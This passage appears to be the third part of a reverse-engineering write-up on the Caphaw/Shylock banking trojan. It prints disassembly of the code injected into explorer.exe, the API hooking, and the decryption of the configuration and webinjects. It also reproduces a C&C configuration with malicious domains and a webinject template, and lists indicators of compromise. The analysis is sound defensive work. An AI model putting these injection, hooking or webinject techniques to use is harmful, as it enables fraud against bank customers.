In depth analysis of Caphaw/Shylock from “FirefoxUpdate.exe” campaign – Part 3

We are finally at the end of our Caphaw/Shylock analysis. This time we will deal entirely with the code injected into explorer.exe process, the context will be a little more complex than previous episodes because we will work within a multithreaded environment. The injected code will identify an active domain (DGA based) in order to download other executables (binary update for example), modules and the botnet configuration which leads to httpinject. The latter component will contain the Web Injection (HTML/JS) code used to modify  banking portals via MiTB (Man in The Browser) attacks.

Authors

Evilcry (@Blackmond_) and Cthulhu(@0s0urce).

Exploring the Injected Code

In the second episode we left the analysis immediately after the API patched code lead us to the injected code, we are now inside explorer’s malicious code. We will keep an eye on functional analysis, so we will try to skip the non-essential parts, this means that we will not deal with every spawned thread, but only with the most important ones. Analysis will be done by inspecting every thread twice:

  • New-Thread event ON -> will give an overview of the whole thread’s structure and relations between them.
  • New-Thread event OFF -> in order to follow without interruptions every single thread.

 

00F7F340   /EB 18           JMP SHORT 00F7F35A				; Landing point
00F7F342   |3D 04917C07     CMP EAX,77C9104
00F7F347   |0000            ADD BYTE PTR DS:[EAX],AL
00F7F349   |0068 A0         ADD BYTE PTR DS:[EAX-60],CH
00F7F34C   |0000            ADD BYTE PTR DS:[EAX],AL
00F7F34E   |0068 70         ADD BYTE PTR DS:[EAX+70],CH
00F7F351   |05 2F08817C     ADD EAX,7C81082F
00F7F356   |7B 5A           JPO SHORT 00F7F3B2
00F7F358   |8001 50         ADD BYTE PTR DS:[ECX],50
00F7F35B    53              PUSH EBX
00F7F35C    51              PUSH ECX
00F7F35D    56              PUSH ESI
00F7F35E    57              PUSH EDI
00F7F35F    E8 00000000     CALL 00F7F364
00F7F364    5B              POP EBX
00F7F365    81EB 4FA5ED00   SUB EBX,0EDA54F
00F7F36B    81C3 2BA5ED00   ADD EBX,0EDA52B
00F7F371    FC              CLD
00F7F372    8B7B 02         MOV EDI,DWORD PTR DS:[EBX+2]
00F7F375    8D73 0A         LEA ESI,[EBX+0A]
00F7F378    8B4B 06         MOV ECX,DWORD PTR DS:[EBX+6]
00F7F37B    F3:A4           REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] ; Restore original API code
00F7F37D    6A 00           PUSH 0
00F7F37F    6A 00           PUSH 0
00F7F381    6A 00           PUSH 0
00F7F383    FF73 16         PUSH DWORD PTR DS:[EBX+16]			; StartAddress 01805A7B
00F7F386    6A 00           PUSH 0
00F7F388    6A 00           PUSH 0
00F7F38A    FF53 12         CALL DWORD PTR DS:[EBX+12] 			; CreateThread
00F7F38D    8B43 02         MOV EAX,DWORD PTR DS:[EBX+2]
00F7F390    5F              POP EDI
00F7F391    5E              POP ESI
00F7F392    59              POP ECX
00F7F393    5B              POP EBX
00F7F394    870424          XCHG DWORD PTR SS:[ESP],EAX
00F7F397    C3              RETN					; Call original CloseHandle code
00F7F398    FFE0            JMP EAX

This block of code could be considered the starting point of the code injection, where, in other words, the execution flow lands after the patched API is called. The scope of the above reported code is to:

  1. Restore the original API code.
  2. Open a new branch of execution.

It should be clear now that altering the code of a function introduces the risk of instability for the entire system, so it’s mandatory that once we get into the malicious code, the original API completes its work. At the same time, if we give back execution to the original code, we will loose the possibility to run the malicious one. For this reason it’s necessary to create a new execution branch and this is achieved by creating a new thread. From a reverse engineering point of view we need to catch this secondary execution branch, it’s pretty easy in this case: we can setup a Pause on New Thread event and reach RETN which calls the original API code.

01805A7B    55              PUSH EBP
01805A7C    8BEC            MOV EBP,ESP
01805A7E    83EC 38         SUB ESP,38
01805A81    56              PUSH ESI
01805A82    57              PUSH EDI
01805A83    A1 2C808001     MOV EAX,DWORD PTR DS:[180802C]
01805A88    8945 F8         MOV DWORD PTR SS:[EBP-8],EAX	; EAX points to the injected executable
01805A8B    FC              CLD
01805A8C    33D2            XOR EDX,EDX
01805A8E    64:8B52 30      MOV EDX,DWORD PTR FS:[EDX+30]	; FS:[0x30] = PEB
01805A92    8B52 0C         MOV EDX,DWORD PTR DS:[EDX+0C]
01805A95    8B52 14         MOV EDX,DWORD PTR DS:[EDX+14]
01805A98    8B72 28         MOV ESI,DWORD PTR DS:[EDX+28]	; 'Explorer.EXE'
01805A9B    B9 18000000     MOV ECX,18
01805AA0    33FF            XOR EDI,EDI
01805AA2    33C0            XOR EAX,EAX
01805AA4    AC              LODS BYTE PTR DS:[ESI]			; "Explorer.EXE"
01805AA5    3C 61           CMP AL,61
01805AA7    7C 02           JL SHORT 01805AAB
01805AA9    2C 20           SUB AL,20
01805AAB    C1CF 0D         ROR EDI,0D
01805AAE    03F8            ADD EDI,EAX
01805AB0    E2 F0           LOOP SHORT 01805AA2				; Loop for each character - content goes in EDI
01805AB2    81FF 5BBC4A6A   CMP EDI,6A4ABC5B				; name is the one with hardcoded value 6A4ABC5B ?
01805AB8    8B42 10         MOV EAX,DWORD PTR DS:[EDX+10]   ; "Explorer.EXE" base address in EAX
01805ABB    8B12            MOV EDX,DWORD PTR DS:[EDX]
01805ABD  ^ 75 D9           JNE SHORT 01805A98				; next module (ntdll.dll, kernel32.dll, etc. )

Hardcoded value 6A4ABC5B corresponds to kernel32.dll module, module address by call 017E8104 as follows:

01805AC7    8B75 FC         MOV ESI,DWORD PTR SS:[EBP-4]
01805ACA    E8 3526FEFF     CALL 017E8104							; get LoadLibraryA address
01805ACF    59              POP ECX
01805AD0    8945 E8         MOV DWORD PTR SS:[EBP-18],EAX
01805AD3    837D E8 00      CMP DWORD PTR SS:[EBP-18],0
01805AD7    75 05           JNE SHORT 01805ADE
01805AD9    E9 55010000     JMP 01805C33
01805ADE    68 0867B302     PUSH 2B36708
01805AE3    8B75 FC         MOV ESI,DWORD PTR SS:[EBP-4]
01805AE6    E8 1926FEFF     CALL 017E8104							; get GetProcAddress address

We have now the possibility to Call LoadLibraryA and GetProcAddress.

01805AFD    8945 EC         MOV DWORD PTR SS:[EBP-14],EAX            ; Injected Executable
01805B00    8B45 EC         MOV EAX,DWORD PTR SS:[EBP-14]
01805B03    0FB700          MOVZX EAX,WORD PTR DS:[EAX]
01805B06    3D 4D5A0000     CMP EAX,5A4D
01805B0B    74 05           JE SHORT 01805B12                        ; Check MZ
01805B0D    E9 21010000     JMP 01805C33
01805B12    8B45 EC         MOV EAX,DWORD PTR SS:[EBP-14]            ; Injected Executable
01805B15    8B4D F8         MOV ECX,DWORD PTR SS:[EBP-8]             ; Injected Executable
01805B18    0348 3C         ADD ECX,DWORD PTR DS:[EAX+3C]            ; PE
01805B1B    894D E0         MOV DWORD PTR SS:[EBP-20],ECX
01805B1E    8B45 E0         MOV EAX,DWORD PTR SS:[EBP-20]
01805B21    8138 50450000   CMP DWORD PTR DS:[EAX],4550              ; check PE
01805B27    74 05           JE SHORT 01805B2E
01805B29    E9 05010000     JMP 01805C33
01805B2E    8B45 E0         MOV EAX,DWORD PTR SS:[EBP-20]            ; PE
01805B31    83C0 18         ADD EAX,18				     ; PE+0x18
01805B34    8945 F0         MOV DWORD PTR SS:[EBP-10],EAX
01805B37    8B45 F0         MOV EAX,DWORD PTR SS:[EBP-10]

Checks if the previously injected executable is a valid PE:

....
01805B73    52              PUSH EDX                                 ; ASCII "MSVCRT.dll"
01805B74    FF55 E8         CALL DWORD PTR SS:[EBP-18]               ; kernel32.LoadLibraryA
..
01805C07    50              PUSH EAX                                 ; ASCII "malloc"
01805C08    FF75 D0         PUSH DWORD PTR SS:[EBP-30]
01805C0B    FF55 E4         CALL DWORD PTR SS:[EBP-1C]               ; kernel32.GetProcAddress
01805C0E    8B4D CC         MOV ECX,DWORD PTR SS:[EBP-34]
01805C11    8B55 D4         MOV EDX,DWORD PTR SS:[EBP-2C]
01805C14    89048A          MOV DWORD PTR DS:[ECX*4+EDX],EAX	     ; store resolved API address inside the injected executable  
01805C17  ^ EB 97           JMP SHORT 01805BB0			     ; next API address
..
01805C1E    8B45 F0         MOV EAX,DWORD PTR SS:[EBP-10]
01805C21    8B4D F8         MOV ECX,DWORD PTR SS:[EBP-8]
01805C24    8948 1C         MOV DWORD PTR DS:[EAX+1C],ECX	     ; New Base Address for the injected executabl

 

ImportTable

Resolves a few APIs addresses and place them inside the injected PE, in other words it builds a pretty basic IAT and immediately after it fixes the executable base address. The code that belongs to the injected executable will be used later on.

01805C27    8325 04748001 0 AND DWORD PTR DS:[1807404],00000000
01805C2E    E8 63FAFFFF     CALL 01805696

Let’s go inside Call 01805696:

01805696    55              PUSH EBP
01805697    8BEC            MOV EBP,ESP
01805699    83EC 40         SUB ESP,40
0180569C    56              PUSH ESI
0180569D    8325 04748001 0 AND DWORD PTR DS:[1807404],00000000
018056A4    E8 6A3DFEFF     CALL 017E9413					; GetCommandLineA
018056A9    50              PUSH EAX
018056AA    E8 D43CFEFF     CALL 017E9383					; GetCurrentProcessId
018056AF    50              PUSH EAX
018056B0    8D45 E8         LEA EAX,[EBP-18]
018056B3    50              PUSH EAX
018056B4    B8 14B97C01     MOV EAX,17CB914
018056B9    E8 7365FFFF     CALL 017FBC31					; Decrypt "HPA::entry (%u::%s)"
018056BE    59              POP ECX
018056BF    E8 9AFFFDFF     CALL 017E565E
018056C4    50              PUSH EAX
018056C5    8D75 EC         LEA ESI,[EBP-14]
018056C8    E8 8004FEFF     CALL 017E5B4D
018056CD    E8 4D09FEFF     CALL 017E601F					; Format string "HPA::entry (1512::C:\WINDOWS\Explorer.EXE)"
..
01805730    E8 7490FFFF     CALL 017FE7A9					; Resolve networking API addresses

Here we go, that’s an old friend: as you should remember, in the Core component we used to see “HSE::” – now we have “HPA::”. call 017FE7A9 will resolve API addresses used to perform networking operations, we have already seen some of them in use like InternetConnect, HttpSendRequest etc. but as you should remember in the previous case Caphaw was unable to reach an active domain. Here the idea is to check the other networking APIs used, in order to catch a different execution branch, more precisely let’s see which API is used in case we get to an active domain so we can place a breakpoint on it. Among the resolved APIs addresses we have:

  • InternetReadFile
  • InternetQueryDataAvailable -> “Queries the server to determine the amount of data available.”
  • InternetQueryInfoA

The first one is pretty interesting for our scopes “Reads data from a handle opened by the InternetOpenUrl, FtpOpenFile, or HttpOpenRequest function.” – this implies that if we want to track/analyse what happens when a file is downloaded, we can place a Breakpoint on InternetReadFile.

018057C7    FF75 D8         PUSH DWORD PTR SS:[EBP-28]
018057CA    E8 D851FFFF     CALL 017FA9A7

Call 017FA9A7 essentially erases the main file (firefoxupdate.exe) and builds MD5_EVT_* as seen in the previous episodes, and successively encrypt these strings.

0180580B    E8 733BFEFF     CALL 017E9383       ; GetCurrentProcessId
01805810    50              PUSH EAX
01805811    E8 C739FFFF     CALL 017F91DD	; Create a mutex with name "5J*%$:YL[cXzW=8%.|cTB`!.,}FOur^mC000005E8"
01805816    59              POP ECX
..
018059ED    B8 30B97C01     MOV EAX,17CB930
018059F2    E8 3A62FFFF     CALL 017FBC31 	    ; Decrypt "HPA::*** MASTER *** MASTER *** MASTER *** (%s::%u::%s)"
018059F7    59              POP ECX

The resulting string finally is:

“HPA::*** MASTER *** MASTER *** MASTER *** (571C8ECED4FAF69E4A38507B4417257B571C8571C8ECE::1512::EXPLORER.EXE)”

01805A25    68 E5418001     PUSH 18041E5
01805A2A    E8 8123FFFF     CALL 017F7DB0	; Create a new thread
01805A2F    59              POP ECX

Call 017F7DB0 invokes CreateThread API, as previously seen, let’s place a breakpoint on the StartAddress, that in our case is 018041e6. Immediately after call 017F7DB0 we reach the end of Call 01805696 and another RETN (end of the thread). Let’s see the handle table situation:

eventhandles

As you can see from the red rectangle this thread has spawned some Events. Let’s take a look at the next thread:

New thread – The hooking

This thread is responsible of the hook installation and works essentially in two steps:

  1. Establish if the process is a browser (Firefox or Internet Explorer) or not (Explorer.exe).
  2. According to the process, installs the proper hooks.
018041E5    55              PUSH EBP
018041E6    8BEC            MOV EBP,ESP
018041E8    51              PUSH ECX
... First condition
01804229    E8 037AFFFF     CALL 017FBC31                        ; Decrypt "IEXPLORE.EXE"
0180422E    59              POP ECX
0180422F    FF30            PUSH DWORD PTR DS:[EAX]
01804231    A1 84828001     MOV EAX,DWORD PTR DS:[1808284]
01804236    83C0 24         ADD EAX,24
01804239    33F6            XOR ESI,ESI
0180423B    E8 7617FEFF     CALL 017E59B6			; Compare "IEXPLORE.EXE" with "EXPLORER.EXE"
01804240    83F8 FF         CMP EAX,-1 				; EAX = -1
... Second Condition
01804289    E8 A379FFFF     CALL 017FBC31                       ; Decrypt "FIREFOX.EXE"
0180428E    59              POP ECX
0180428F    FF30            PUSH DWORD PTR DS:[EAX]
01804291    A1 84828001     MOV EAX,DWORD PTR DS:[1808284]
01804296    83C0 24         ADD EAX,24
01804299    33F6            XOR ESI,ESI
0180429B    E8 1617FEFF     CALL 017E59B6			; Compare "FIREFOX.EXE" with "EXPLORER.EXE"				
018042A0    83F8 FF         CMP EAX,-1 				; EAX = -1
... Third condition
018042E2    E8 4A79FFFF     CALL 017FBC31                       ; Decrypt "EXPLORER.EXE"
018042E7    59              POP ECX
018042E8    FF30            PUSH DWORD PTR DS:[EAX]
018042EA    A1 84828001     MOV EAX,DWORD PTR DS:[1808284]
018042EF    83C0 24         ADD EAX,24
018042F2    33F6            XOR ESI,ESI
018042F4    E8 BD16FEFF     CALL 017E59B6			; Compare "EXPLORER.EXE" with "EXPLORER.EXE"
018042F9    83F8 FF         CMP EAX,-1 			        ; EAX = 0

This piece of code should be clear, it compares explorer.exe string with executable names of Firefox and Internet Explorer. Obviously in our case the third condition is true.

01804321    E8 73FDFFFF     CALL 01804099
01804326    6A 00           PUSH 0
01804328    68 86128001     PUSH 1801286
0180432D    E8 6648FEFF     CALL 017E8B98

Inside 01804099 the core accomplishes the following tasks:

  • HOOK APIs: NtQueryDirectoryFile, NtEnumerateValueKey, NtCreateThread. – and others.
  • Creates a new thread, StartAddress adopted (for us) this time: 017F5B4E.

In the case of Firefox for example, one of the hooked functions is Pr_Write here how appears:

003532C0  /$  68 0CC51400   PUSH 14C50C
003532C5  \.  C3            RETN                                     ; RET is used as a jump to 14C50C
003532C6  /.  894424 04     MOV DWORD PTR SS:[ARG.1],EAX
003532CA  |.  8B41 0C       MOV EAX,DWORD PTR DS:[ECX+0C]
003532CD  \.  FFE0          JMP EAX									 ; jump to the original code

This check-and-hook thread begs the question – how code is injected into browsers or other processes? – answer is pretty simple and verifiable by setting a breakpoint on WriteProcessMemory. Suddenly emerges that the method adopted is identical to the one previously seen to inject the malicious code into explorer.exe -> allocate and copy some code in the victim process then patch an API to reach this block of code.

New thread:

017F5B4E    55              PUSH EBP
017F5B4F    8BEC            MOV EBP,ESP
..
017F5B5E    81C6 8C000000   ADD ESI,8C
017F5B64    8BFC            MOV EDI,ESP
017F5B66    E8 B2FFFEFF     CALL 017E5B1D                       ; Complete path of Caphaw executable (see episode 2)
017F5B6B    FF35 90828001   PUSH DWORD PTR DS:[1808290]
017F5B71    E8 B35F0000     CALL 017FBB29                       ; Get Caphaw executable size
017F5B76    A1 84828001     MOV EAX,DWORD PTR DS:[1808284]
017F5B7B    33DB            XOR EBX,EBX
017F5B7D    6A 1E           PUSH 1E
017F5B7F    BF 88130000     MOV EDI,1388
017F5B84    43              INC EBX
017F5B85    57              PUSH EDI
017F5B86    8998 2C010000   MOV DWORD PTR DS:[EAX+12C],EBX
017F5B8C    E8 A728FFFF     CALL 017E8438			; Pick a random value 
017F5B91    50              PUSH EAX
017F5B92    A1 84828001     MOV EAX,DWORD PTR DS:[1808284]
017F5B97    FFB0 B0000000   PUSH DWORD PTR DS:[EAX+0B0]
017F5B9D    E8 EA34FFFF     CALL 017E908C			; WaitForSingleObject
..
017F5BC2    E8 B62B0000     CALL 017F877D			; "\\.\pipe\571C8ECED4FAF69E4A38507B4417257B"

Call 017F877D assembles the string “\\.\pipe\571C8ECED4FAF69E4A38507B4417257B” and finally calls WaitNamedPipe.

017F5BF7    6A 1E           PUSH 1E
017F5BF9    57              PUSH EDI
017F5BFA    E8 3928FFFF     CALL 017E8438	; Generate a random value
017F5BFF    50              PUSH EAX
017F5C00    A1 84828001     MOV EAX,DWORD PTR DS:[1808284]
017F5C05    FFB0 B0000000   PUSH DWORD PTR DS:[EAX+0B0]
017F5C0B    E8 7C34FFFF     CALL 017E908C	; WaitForSingleObject
017F5C10    83C4 10         ADD ESP,10
017F5C13    3BC6            CMP EAX,ESI		; Return value of value of WaitForSingleObject is WAIT_TIMEOUT
017F5C15  ^ 74 92           JE SHORT 017F5BA9	; next round of WaitForSingleObject

Basically this thread loops around a WaitForSingleObject until its status returns something different from WAIT_TIMEOUT, we can leave it running by placing a breakpoint immediately after the JE. After a while we will be brought back to thread 14, and more precisely inside 01804099 (previously reported). There are no notable actions from a functional point of view, except a CreateThread that leads to the execution of thread 20.

00B31286    56              PUSH ESI
00B31287    68 74030000     PUSH 374
00B3128C    E8 4871FEFF     CALL 00B183D9	; Allocates a block of memory
00B31291    8BF0            MOV ESI,EAX
00B31293    59              POP ECX
00B31294    85F6            TEST ESI,ESI
00B31291    8BF0            MOV ESI,EAX
00B31293    59              POP ECX
00B31294    85F6            TEST ESI,ESI
00B31296    74 13           JE SHORT 00B312AB
00B31298    6A 00           PUSH 0
00B3129A    8BCE            MOV ECX,ESI
00B3129C    E8 3A36FFFF     CALL 00B248DB

Call 00B248DB creates a certain number of Events, the names adopted follows the already analysed rule: encrypt(MD5_EVT_*)  for more information please check episode 2. In order to get to the next important step, we need to land in one thread after the current one.

Configuration and WebInjects

Every (valuable) banking trojan adopts a Configuration and WebInjection system:

  • Configuration: details about the botnet, C&C, Dropzone, update and plugin resources.
  • WenInject: Contains the HTML/JS code to be injected into the browser via MiTB (Man in The Browser).

We will take a look to both these components, which are served by the DGA based domains previously seen, this implies that the configuration and webinjects need to be dowloaded. As suggested by the previously seen networking APIs, let’s place a breakpoint on InternetReadFile. When InternetReadFile is executed, it means that Caphaw has received a correct response from the DGA domain and something is returned back. Let’s see the “download manager” structure:

01981566    8D45 F8         LEA EAX,[EBP-8]
01981569    50              PUSH EAX
0198156A    57              PUSH EDI
0198156B    E8 96E9FFFF     CALL 0197FF06			; InternetQueryDataAvailable
..
019815B4    51              PUSH ECX
019815B5    57              PUSH EDI
019815B6    8945 F4         MOV DWORD PTR SS:[EBP-0C],EAX
019815B9    E8 DAE8FFFF     CALL 0197FE98			; InternetReadFile
019815BE    83C4 10         ADD ESP,10
019815C1    83F8 01         CMP EAX,1
019815C4    8B45 E8         MOV EAX,DWORD PTR SS:[EBP-18]
019815C7    75 06           JNE SHORT 019815CF
019815C9    85C0            TEST EAX,EAX
019815CB    74 06           JE SHORT 019815D3
019815CD    0106            ADD DWORD PTR DS:[ESI],EAX
019815CF    85C0            TEST EAX,EAX
019815D1  ^ 75 93           JNE SHORT 01981566			
019815C9    85C0            TEST EAX,EAX
019815CB    74 06           JE SHORT 019815D3
019815CD    0106            ADD DWORD PTR DS:[ESI],EAX
019815CF    85C0            TEST EAX,EAX
019815D1  ^ 75 93           JNE SHORT 01981566			; download next chunk
019815D3    33F6            XOR ESI,ESI
019815D5    57              PUSH EDI
019815D6    E8 57E8FFFF     CALL 0197FE32				; InternetCloseHandle
019815DB    59              POP ECX
019815DC    FF75 F0         PUSH DWORD PTR SS:[EBP-10]
019815DF    E8 4EE8FFFF     CALL 0197FE32				; InternetCloseHandle

EAX points to the address that contains the freshly downloaded webinject.

The configuration

Botnet configuration directives are sent by the responding DGA Domain as a reply to an HTTP request, as shown below:

config_download

The configuration has a layer of Base64 in order to be sent as HTTP response and an encryption layer on top.

01984C07    FF75 0C         PUSH DWORD PTR SS:[EBP+0C]		; len on encrypted config data block
01984C0A    FF75 08         PUSH DWORD PTR SS:[EBP+8]		; encrypted config data block
01984C0D    E8 3522FFFF     CALL 01976E47

Inside call 01978E47:

01976E60    FF75 0C         PUSH DWORD PTR SS:[EBP+0C]	; len of encrypted config data block
01976E63    FF75 08         PUSH DWORD PTR SS:[EBP+8]	; encrypted config data block
01976E66    50              PUSH EAX					; len of MD5 hash
01976E67    51              PUSH ECX					; the previously seen MD5 hash
01976E68    E8 CF87FFFF     CALL 0196F63C				; Decryption

Config decryption could be synthesized by using again Profiler’s filters:

decrypt_conf

In short:

plain_configuration = RC4(Decode_Base64(encrypted_configuration), key)

where key = previously computed MD5 hash (please refer to Episode 1 for more details).

Typical configuration:

<hijackcfg>
<botnet name="net1"/>
	<timer_cfg success="1800" fail="1800"/>
	<timer_log success="1200" fail="1200"/>
	<timer_ping success="1800" fail="1800"/>
	<urls_server>
		<url_server url="https://eilahcha.cc/ping.html"/>

		<url_server url="https://e-statistics.su/ping.html"/>

		<url_server url="https://iestat.cc/ping.html"/>
	</urls_server>
		<httpinject value="on" url="/files/hidden7710777.jpg" md5="3d0763fa62f90af2e9a602c248933f28"/>

</hijackcfg>

We have the botnet name (“net1” in this case), multiple C&C server URLs as <url_server url=”URL”/> and finally <httpinject> that contains the WebInject URL path and its MD5. This configuration could contain also references to additional plugins in the form:

<plugins>
    <plugin name="PLUGIN_NAME" url="" value="" cmd=""/>
    ..
</plugins>

The webinject component

Usually the web injection component (httpinject, as it is called by Caphaw itself) is delivered as binary data which is encrypted/compressed in order to disguise the injected HTML/JS and reduce the size of the file itself.

019834B5    E8 D3A1FFFF     CALL 0197D68D						; Decrypt 'MASTER' string
019834BA    8B30            MOV ESI,DWORD PTR DS:[EAX]          ; "MASTER"
019834BC    A1 5C969801     MOV EAX,DWORD PTR DS:[198965C]
019834C1    8B78 24         MOV EDI,DWORD PTR DS:[EAX+24]		; 'EXPLORER.EXE'
019834C4    59              POP ECX
019834C5    8D45 E4         LEA EAX,[EBP-1C]
019834C8    50              PUSH EAX
019834C9    B8 18989401     MOV EAX,1949818
019834CE    E8 BAA1FFFF     CALL 0197D68D						; Decrypt "Injects received by %s szInjCfg=%d (%s:%d)"
019834D3    8B00            MOV EAX,DWORD PTR DS:[EAX]                    
..
019834F7    E8 3943FEFF     CALL 01967835			; Assembles the following string:

“Injects received by MASTER szInjCfg=37588 (EXPLORER.EXE:1592)”

As usual, Caphaw keeps us informed about the most important events:

  • Origin of the injection: MASTER
  • Size of the config in bytes: 37588
  • Calling process: EXPLORER.EXE:1592
0198352C    E8 9EC6FCFF     CALL 0194FBCF					
01983531    8BF0            MOV ESI,EAX
01983533    59              POP ECX
01983534    59              POP ECX
01983535    8975 E8         MOV DWORD PTR SS:[EBP-18],ESI
01983538    39B3 D4000000   CMP DWORD PTR DS:[EBX+0D4],ESI
0198353E    0F84 67010000   JE 019836AB
01983544    8D43 2C         LEA EAX,[EBX+2C]
01983547    50              PUSH EAX
01983548    8945 D8         MOV DWORD PTR SS:[EBP-28],EAX
..
01983564    FF75 F8         PUSH DWORD PTR SS:[EBP-8]
01983567    50              PUSH EAX
01983568    E8 33F7FDFF     CALL 01962CA0
..
01962CE3    F3:A4           REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]	; Copy httpinject content 
01962CF7    813B 44332211   CMP DWORD PTR DS:[EBX],11223344			; Check if downloaded inject starts with 11223344
01962CFD    8D46 E6         LEA EAX,[ESI-1A]					; ESI = 92D4  size of injection_config, EAx will be 92BA
01962D00    8D7B 1A         LEA EDI,[EBX+1A]					; EBX = address
01962D03    894424 18       MOV DWORD PTR SS:[ESP+18],EAX
01962D07  ^ 75 E8           JNE SHORT 01962CF1
01962D09    50              PUSH EAX
01962D0A    57              PUSH EDI
01962D0B    E8 CD99FEFF     CALL 0194C6DD

Here it is an abstract of Call 0194C6DD

0194C6E3    C745 FC FFFF000 MOV DWORD PTR SS:[EBP-4],0FFFF 		; Identificator #1
0194C6EA    3945 0C         CMP DWORD PTR SS:[EBP+0C],EAX
0194C6ED    7E 3A           JLE SHORT 0194C729
0194C6EF    8B4D 08         MOV ECX,DWORD PTR SS:[EBP+8]
0194C6F2    0FB60C08        MOVZX ECX,BYTE PTR DS:[ECX+EAX]
0194C6F6    66:C1E1 08      SHL CX,8 					; Identificator #2
0194C6FA    66:314D FC      XOR WORD PTR SS:[EBP-4],CX
0194C6FE    6A 08           PUSH 8
0194C700    59              POP ECX
0194C701    F745 FC 0080000 TEST DWORD PTR SS:[EBP-4],00008000
0194C708    74 13           JE SHORT 0194C71D
0194C70A    8B55 FC         MOV EDX,DWORD PTR SS:[EBP-4]
0194C70D    03D2            ADD EDX,EDX
0194C70F    81F2 21100000   XOR EDX,00001021				; Identificator #3

Identificator #3 with the constant 00001021 (if you can’t get it, simply google for xor with 00001021), clearly it indicates that call 0194C6DD computes a sort of CRC, the value is finally placed in EAX.

01962D12    66:3B43 0C      CMP AX,WORD PTR DS:[EBX+0C]			; Check CRC
01962D16  ^ 75 D9           JNE SHORT 01962CF1
01962D18    F643 04 01      TEST BYTE PTR DS:[EBX+4],01 		; Check config encryption type
01962D1C    74 17           JE SHORT 01962D35		
01962D1E    8B43 0E         MOV EAX,DWORD PTR DS:[EBX+0E]   	; EAX = Dword(Config_Base_Address + 0xE) - Decryption Key
01962D21    FF7424 18       PUSH DWORD PTR SS:[ESP+18]			; size of config - 1A
01962D25    8D4C24 20       LEA ECX,[ESP+20]
01962D29    894424 20       MOV DWORD PTR SS:[ESP+20],EAX
01962D2D    E8 CDC80000     CALL 0196F5FF						; Decryption algorithm
01962D32    83C4 04         ADD ESP,4
01962D35    F643 04 02      TEST BYTE PTR DS:[EBX+4],02 		; Check config encryption type
01962D39    0F84 9A000000   JE 01962DD9
01962D3F    6BF6 05         IMUL ESI,ESI,5
01962D42    EB 3C           JMP SHORT 01962D80					; code at 01962D80 allocates a block of memory

This piece of code helps us understand the binary structure of the httpinject which can be summarised as follows:

config_struct

There are five basic regions:

  1. Magic value.
  2. Encryption type (used to understand how to unpack the httpinject).
  3. CRC check value.
  4. Decryption key.
  5. Starting at offset 0x1A we find the body of httpinject given by encrypted/compressed data.

Back to the code, let’s see CALL 0196F5FF:

0196F5FF    55              PUSH EBP
0196F600    8BEC            MOV EBP,ESP
0196F602    56              PUSH ESI
0196F603    33F6            XOR ESI,ESI
0196F605    3BFE            CMP EDI,ESI
0196F607    74 28           JE SHORT 0196F631
0196F609    3975 08         CMP DWORD PTR SS:[EBP+8],ESI
0196F60C    76 23           JBE SHORT 0196F631
0196F60E    53              PUSH EBX
0196F60F    8A01            MOV AL,BYTE PTR DS:[ECX]
0196F611    30043E          XOR BYTE PTR DS:[EDI+ESI],AL
0196F614    8B01            MOV EAX,DWORD PTR DS:[ECX]
0196F616    69C0 4D030000   IMUL EAX,EAX,34D 					; hardcoded constant
0196F61C    05 41020000     ADD EAX,241							; hardcoded constant #2
0196F621    33D2            XOR EDX,EDX
0196F623    83CB FF         OR EBX,FFFFFFFF
0196F626    F7F3            DIV EBX
0196F628    46              INC ESI
0196F629    8911            MOV DWORD PTR DS:[ECX],EDX
0196F62B    3B75 08         CMP ESI,DWORD PTR SS:[EBP+8]
0196F62E  ^ 72 DF           JB SHORT 0196F60F
0196F630    5B              POP EBX
0196F631    5E              POP ESI
0196F632    5D              POP EBP
0196F633    C3              RETN

The above algorithm is used to decrypt the httpinject:

01962D44    8D46 E6         LEA EAX,[ESI-1A]
01962D47    894424 1C       MOV DWORD PTR SS:[ESP+1C],EAX
01962D4B    8B4424 14       MOV EAX,DWORD PTR SS:[ESP+14]
01962D4F    83C0 1A         ADD EAX,1A
01962D52    50              PUSH EAX
01962D53    FF7424 1C       PUSH DWORD PTR SS:[ESP+1C]
01962D57    8D7C24 24       LEA EDI,[ESP+24]
01962D5B    8D43 1A         LEA EAX,[EBX+1A]
01962D5E    E8 CEC3FEFF     CALL 0194F131		; Decrypt httpinject
..
01962D7D    59              POP ECX
01962D7E    8BF0            MOV ESI,EAX
01962D80    56              PUSH ESI
01962D81    E8 4399FEFF     CALL 0194C6C9
01962D86    50              PUSH EAX
01962D87    E8 1B6D0000     CALL 01969AA7

httpinject is now decrypted. We avoid to report the content of CALL 0194F131 on purpose since it’s very long and essentially it decompresses the previously decrypted data by using Zlib 1.2.3. The presence of a compressed element can be also confirmed by using binwalk:

$ binwalk shylock-config 

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
26        	0x1A      	gzip compressed data, from NTFS filesystem (NT), NULL date: Thu Jan  1 01:00:00 1970, max compression

Summarising: httpinject could be managed differently according to the second DWORD, we can have:

  • compressed (zlib)
  • encrypted
  • encrypted + compressed (our case)

Zlib will be applied to the freshly decrypted body of httpinject.

First example of WebInject:

webinj_1

Second example of WebInject:

webinj_2

In synthesis we have the following structure:

<unit>
<url request="*DOMAIN*" />
<url domain="*DOMAIN" request="/an/example/of/triggering/request.ashx*" />
<url request="*DOMAIN/an/example/of/triggering/request.ashx*" />

<data>
<begin mask="*">
<div class="contentPod pod0"
</begin>
<inject>
 id="generalPhones" rel="v4n"
</inject>
<end mask="*">
</end>
</data>

..

</unit>

Inside each <unit> block we can have multiple <data> blocks which contain information on how to inject the code, finally inside <data> block we have <inject> that contains the code to be injected.

Indicators of Compromise

The presence of Caphaw/Shylock into a compromised system can be revealed by observing the following elements:

  • Registry
  • FileSystem
  • Network activity
  • Mutexes and Events
  • Hooks

Registry:

In order to survive the reboot and be re-executed Caphaw/Shylock places an entry into:

Software\Microsoft\Windows\CurrentVersion\Run

FileSystem:

Caphaw/Shylock drops a copy of itself in the following path:

C:\Documents and Settings\<user>\Application Data\<path>\<executable_name>.exe

Here a “real” path case:

C:\Documents and Settings\<user>\Application Data\Microsoft\Internet Explorer\mmc.exe

Network activity:

Caphaw/Shylock produces a considerable amount of network traffic due to its DGA-available-Domain search, this activity can be easily revealed with Wireshark:

network_evidence_1

We can observe a set of DNS queries toward DGA generated domains and later on an initiated SSL connection.

SSL traffic can be unveiled by using Fiddler:

network_evidence_2

In synthesis we can carve the following information:

  • C&C has /ping.html and /ping.html?r=random_value
  • Traffic comes from explorer.exe process

Mutexes:

